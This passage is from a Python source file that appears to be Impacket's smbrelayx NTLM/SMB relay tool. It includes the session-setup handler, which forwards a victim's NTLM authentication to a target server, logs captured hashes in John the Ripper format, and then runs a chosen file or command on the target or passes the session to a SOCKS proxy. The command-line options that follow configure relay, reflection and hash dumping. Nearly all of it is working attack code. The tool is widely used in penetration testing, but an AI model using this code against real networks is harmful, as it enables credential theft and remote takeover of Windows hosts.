806                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
807                # Let's send it to the target server and send the answer back to the client.
808
809                # Let's check if we already attacked this host.
810                global ATTACKED_HOSTS
811                if self.target in ATTACKED_HOSTS and self.one_shot is True:
812                    logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
813                    connData['ClientIP'], self.target))
814                    packet = NewSMBPacket()
815                    packet['Flags1'] = SMB.FLAGS1_REPLY
816                    packet['Flags2'] = SMB.FLAGS2_NT_STATUS
817                    packet['Command'] = recvPacket['Command']
818                    packet['Pid'] = recvPacket['Pid']
819                    packet['Tid'] = recvPacket['Tid']
820                    packet['Mid'] = recvPacket['Mid']
821                    packet['Uid'] = recvPacket['Uid']
822                    packet['Data'] = '\x00\x00\x00'
823                    errorCode = STATUS_NOT_SUPPORTED
824                    packet['ErrorCode'] = errorCode >> 16
825                    packet['ErrorClass'] = errorCode & 0xff
826
827                    return None, [packet], STATUS_NOT_SUPPORTED
828
829                # It might happen if the target connects back before a previous connection has finished, we might
830                # get to this function w/o having the dict and smbClient entry created, because a
831                # NEGOTIATE_CONNECTION was not needed
832                if smbData.has_key(self.target) is False:
833                    smbData[self.target] = {}
834                    smbClient = SMBClient(self.target)
835                    smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
836                    smbClient.set_timeout(60)
837                    smbData[self.target]['SMBClient'] = smbClient
838
839                smbClient = smbData[self.target]['SMBClient']
840                clientChallengeMessage = smbClient.sendNegotiate(token)
841                challengeMessage = NTLMAuthChallenge()
842                challengeMessage.fromString(clientChallengeMessage)
843                #############################################################
844
845                respToken = SPNEGO_NegTokenResp()
846                # accept-incomplete. We want more data
847                respToken['NegResult'] = '\x01'
848                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
849
850                respToken['ResponseToken'] = str(challengeMessage)
851
852                # Setting the packet to STATUS_MORE_PROCESSING
853                errorCode = STATUS_MORE_PROCESSING_REQUIRED
854                # Let's set up an UID for this connection and store it
855                # in the connection's data
856                # Picking a fixed value
857                # TODO: Manage more UIDs for the same session
858                connData['Uid'] = 10
859                # Let's store it in the connection data
860                connData['CHALLENGE_MESSAGE'] = challengeMessage
861
862            elif messageType == 0x03:
863                # AUTHENTICATE_MESSAGE, here we deal with authentication
864
865                #############################################################
866                # SMBRelay: Ok, so now the have the Auth token, let's send it
867                # back to the target system and hope for the best.
868                smbClient = smbData[self.target]['SMBClient']
869                authenticateMessage = NTLMAuthChallengeResponse()
870                authenticateMessage.fromString(token)
871                if authenticateMessage['user_name'] != '':
872                    clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'],
873                                                                   sessionSetupData['SecurityBlob'])
874                else:
875                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
876                    errorCode = STATUS_ACCESS_DENIED
877
878                if errorCode != STATUS_SUCCESS:
879                    # Let's return what the target returned, hope the client connects back again
880                    packet = NewSMBPacket()
881                    packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
882                    packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
883                    packet['Command'] = recvPacket['Command']
884                    packet['Pid']     = recvPacket['Pid']
885                    packet['Tid']     = recvPacket['Tid']
886                    packet['Mid']     = recvPacket['Mid']
887                    packet['Uid']     = recvPacket['Uid']
888                    packet['Data']    = '\x00\x00\x00'
889                    packet['ErrorCode']   = errorCode >> 16
890                    packet['ErrorClass']  = errorCode & 0xff
891                    # Reset the UID
892                    smbClient.setUid(0)
893                    logging.error("Authenticating against %s as %s\%s FAILED" % (
894                    self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
895                    # del (smbData[self.target])
896                    return None, [packet], errorCode
897                else:
898                    # We have a session, create a thread and do whatever we want
899                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (
900                    self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
901                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
902                                                        authenticateMessage['user_name'],
903                                                        authenticateMessage['domain_name'],
904                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
905                    logging.info(ntlm_hash_data['hash_string'])
906                    if self.server.getJTRdumpPath() != '':
907                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
908                                              self.server.getJTRdumpPath())
909
910                    # Target will be attacked, adding to the attacked set
911                    # If the attack fails, the doAttack thread will be responsible of removing it from the set
912                    ATTACKED_HOSTS.add(self.target)
913                    if self.runSocks is True:
914                        # Pass all the data to the socksplugins proxy
915                        activeConnections.put((self.target, 445, authenticateMessage['user_name'], smbClient, connData))
916                        logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
917                        del (smbData[self.target])
918                    else:
919                        del (smbData[self.target])
920                        clientThread = doAttack(smbClient,self.exeFile,self.command)
921                        clientThread.start()
922
923
924                    # Now continue with the server
925                #############################################################
926
927                # Return status code of the authentication process.
928                errorCode = self.returnStatus
929                logging.info("Sending status code %s after authentication to %s" % (
930                ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
931
932                respToken = SPNEGO_NegTokenResp()
933                # accept-completed
934                respToken['NegResult'] = '\x00'
935
936                # Status SUCCESS
937                # Let's store it in the connection data
938                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
939            else:
940                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
941
942            respParameters['SecurityBlobLength'] = len(respToken)
943
944            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
945            respData['SecurityBlob']       = respToken.getData()
946
947        else:
948            # Process Standard Security
949            respParameters = SMBSessionSetupAndXResponse_Parameters()
950            respData       = SMBSessionSetupAndXResponse_Data()
951            sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters'])
952            sessionSetupData = SMBSessionSetupAndX_Data()
953            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
954            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
955            sessionSetupData.fromString(smbCommand['Data'])
956            connData['Capabilities'] = sessionSetupParameters['Capabilities']
957            #############################################################
958            # SMBRelay
959            smbClient = smbData[self.target]['SMBClient']
960            if sessionSetupData['Account'] != '':
961                clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'],
962                                                                     sessionSetupData['PrimaryDomain'],
963                                                                     sessionSetupData['AnsiPwd'],
964                                                                     sessionSetupData['UnicodePwd'])
965            else:
966                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
967                errorCode = STATUS_ACCESS_DENIED
968
969            if errorCode != STATUS_SUCCESS:
970                # Let's return what the target returned, hope the client connects back again
971                packet = NewSMBPacket()
972                packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
973                packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
974                packet['Command'] = recvPacket['Command']
975                packet['Pid']     = recvPacket['Pid']
976                packet['Tid']     = recvPacket['Tid']
977                packet['Mid']     = recvPacket['Mid']
978                packet['Uid']     = recvPacket['Uid']
979                packet['Data']    = '\x00\x00\x00'
980                packet['ErrorCode']   = errorCode >> 16
981                packet['ErrorClass']  = errorCode & 0xff
982                # Reset the UID
983                smbClient.setUid(0)
984                return None, [packet], errorCode
985                # Now continue with the server
986            else:
987                # We have a session, create a thread and do whatever we want
988                ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
989                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
990                logging.info(ntlm_hash_data['hash_string'])
991                if self.server.getJTRdumpPath() != '':
992                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
993                                          self.server.getJTRdumpPath())
994                # Target will be attacked, adding to the attacked set
995                # If the attack fails, the doAttack thread will be responsible of removing it from the set
996                ATTACKED_HOSTS.add(self.target)
997                if self.runSocks is True:
998                    # Pass all the data to the socksplugins proxy
999                    activeConnections.put((self.target, 445, smbClient, connData))
1000                    logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
1001                    # Remove the target server from our connection list, the work is done
1002                    del (smbData[self.target])
1003                else:
1004                    # Remove the target server from our connection list, the work is done
1005                    del (smbData[self.target])
1006                    clientThread = doAttack(smbClient, self.exeFile, self.command)
1007                    clientThread.start()
1008                # Now continue with the server
1009
1010
1011            #############################################################
1012
1013            # Do the verification here, for just now we grant access
1014            # TODO: Manage more UIDs for the same session
1015            errorCode = self.returnStatus
1016            logging.info("Sending status code %s after authentication to %s" % (
1017            ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
1018            connData['Uid'] = 10
1019            respParameters['Action'] = 0
1020
1021        respData['NativeOS']     = smbServer.getServerOS()
1022        respData['NativeLanMan'] = smbServer.getServerOS()
1023        respSMBCommand['Parameters'] = respParameters
1024        respSMBCommand['Data']       = respData
1025
1026        # From now on, the client can ask for other commands
1027        connData['Authenticated'] = True
1028        #############################################################
1029        # SMBRelay
1030        smbServer.setConnectionData('SMBRelay', smbData)
1031        #############################################################
1032        smbServer.setConnectionData(connId, connData)
1033
1034        return [respSMBCommand], None, errorCode
1035
1036    def _start(self):
1037        self.server.serve_forever()
1038
1039    def run(self):
1040        logging.info("Setting up SMB Server")
1041        self._start()
1042
1043    def setTargets(self, targets):
1044        self.target = targets
1045
1046    def setExeFile(self, filename):
1047        self.exeFile = filename
1048
1049    def setCommand(self, command):
1050        self.command = command
1051
1052    def setSocks(self, socks):
1053        self.runSocks = socks
1054
1055    def setReturnStatus(self, returnStatus):
1056        # Specifies return status after successful relayed authentication to return
1057        # to the connecting client. This comes useful when we don't want the connecting
1058        # client to store successful credentials in his memory. Valid statuses:
1059        # STATUS_SUCCESS - denotes that the connecting client passed valid credentials,
1060        #                   which will make him store them accordingly.
1061        # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin,
1062        #                       and got configured Remote UAC, thus preventing connection to ADMIN$
1063        # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials
1064        #                       are invalid.
1065        self.returnStatus = {
1066            'success' : STATUS_SUCCESS,
1067            'denied' : STATUS_ACCESS_DENIED,
1068            'logon_failure' : STATUS_LOGON_FAILURE
1069        }[returnStatus.lower()]
1070
1071    def setMode(self,mode, one_shot):
1072        self.mode = mode
1073        self.one_shot = one_shot
1074
1075    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
1076        self.machineAccount = machineAccount
1077        self.machineHashes = machineHashes
1078        self.domainIp = domainIp
1079
1080# Process command-line arguments.
1081if __name__ == '__main__':
1082
1083    RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
1084    # Init the example's logger theme
1085    logger.init()
1086    print version.BANNER
1087    parser = argparse.ArgumentParser(add_help=False,
1088                                     description="For every connection received, this module will try to SMB relay that "
1089                                                 " connection to the target system or the original client")
1090    parser.add_argument("--help", action="help", help='show this help message and exit')
1091    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
1092    parser.add_argument('-h', action='store', metavar='HOST',
1093                        help='Host to relay the credentials to, if not it will relay it back to the client')
1094    parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success',
1095                        help='Status to return after client performed authentication. Default: "success".')
1096    parser.add_argument('-e', action='store', required=False, metavar='FILE',
1097                        help='File to execute on the target system. If not specified, hashes will be dumped '
1098                        '(secretsdump.py must be in the same directory)')
1099    parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND',
1100                        help='Command to execute on target system. If not specified, hashes will be dumped '
1101                             '(secretsdump.py must be in the same directory)')
1102    parser.add_argument('-socks', action='store_true', default=False,
1103                        help='Launch a SOCKS proxy for the connection relayed')
1104    parser.add_argument('-one-shot', action='store_true', default=False,
1105                        help='After successful authentication, only execute the attack once for each target')
1106    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
1107                                                       '"%s"). If errors are detected, run chcp.com at the target, '
1108                                                       'map the result with '
1109                                                       'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
1110                                                       'again with -codec and the corresponding codec ' % CODEC)
1111    parser.add_argument('-outputfile', action='store',
1112                        help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')
1113    parser.add_argument('-machine-account', action='store', required=False,
1114                        help='Domain machine account to use when interacting with the domain to grab a session key for '
1115                             'signing, format is domain/machine_name')
1116    parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
1117                        help='Domain machine hashes, format is LMHASH:NTHASH')
1118    parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
1119
1120    try:
1121       options = parser.parse_args()
1122    except Exception, e:
1123       logging.error(str(e))
1124       sys.exit(1)
1125
1126    if options.codec is not None:
1127        CODEC = options.codec
1128
1129    if options.debug is True:
1130        logging.getLogger().setLevel(logging.DEBUG)
1131    else:
1132        logging.getLogger().setLevel(logging.INFO)
1133        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
1134
1135
1136    if options.h is not None:
1137        logging.info("Running in relay mode")
1138        mode = 'RELAY'
1139        targetSystem = options.h
1140    else:
1141        logging.info("Running in reflection mode")
1142        targetSystem = None
1143        mode = 'REFLECTION'
1144
1145    exeFile = options.e
1146    Command = options.c
1147    returnStatus = options.s
1148
1149    threads = set()
1150
1151    if options.socks is True:
1152        # Start a SOCKS proxy in the background
1153        s1 = SOCKS()
1154        socks_thread = Thread(target=s1.serve_forever)
1155        socks_thread.daemon = True
1156        socks_thread.start()
1157        threads.add(socks_thread)
1158
1159    for server in RELAY_SERVERS:
1160        s = server(options.outputfile)
1161        s.setTargets(targetSystem)
1162        s.setExeFile(exeFile)
1163        s.setCommand(Command)
1164        s.setSocks(options.socks)
1165        s.setReturnStatus(returnStatus)
1166        s.setMode(mode, options.one_shot)
1167        if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
1168            s.setDomainAccount( options.machine_account,  options.machine_hashes,  options.domain)
1169        elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
1170            logging.error("You must specify machine-account/hashes/domain all together!")
1171            sys.exit(1)
1172
1173        s.start()
1174        threads.add(s)
1175
1176    print ""
1177    logging.info("Servers started, waiting for connections")
1178    while True:
1179        try:
1180            sys.stdin.read()
1181        except KeyboardInterrupt:
1182            logging.info('Quitting.. please wait')
1183            if options.socks is True:
1184                s1.shutdown()
1185            for s in threads:
1186                del(s)
1187            sys.exit(1)
1188        else:
1189            pass
1190
1191